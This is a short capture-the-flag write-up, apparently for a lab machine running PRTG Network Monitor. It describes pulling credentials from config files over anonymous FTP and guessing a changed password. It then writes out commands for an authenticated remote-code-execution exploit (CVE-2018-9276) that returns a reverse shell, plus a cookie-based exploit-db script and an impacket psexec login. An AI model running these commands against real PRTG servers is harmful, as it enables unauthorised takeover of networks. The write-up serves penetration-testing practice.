  • We find a website on port 80
  • We also find an ftp server with access to c drive
  • Searching for data stored by prtg we find that it is stored at:
  • Accessing the location using ftp we find config files:
  • using get command to download these we search for the default username which is prtgadmin

Exploitation

  • We find the login credentials: but it fails
  • We try replacing 2018 with 2019 and we are logged in.
  • We find an exploit for authenticated user https://github.com/A1vinSmith/CVE-2018-9276 we use the command ./exploit.py -i 10.10.10.152 -p 80 --lhost 10.10.14.25 --lport 4445 --user prtgadmin --password PrTg@dmin2019 to get an admin shell

Method 2:

  • We use the exploit https://www.exploit-db.com/exploits/46527
  • A cookie is required for the exploit so we can use burpsuite to intercept
  • We run the exploit with ./46527.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=e0U2OTkwN0UwLTA4NDItNDBDNC1CMzk5LTg2OEYxNjVBM0QwQX0%3D"
  • We can use impacket to get a shell using psexec.py pentest:'P3nT3st!'@10.10.10.152
  • we can also use wsiexec or smbexec
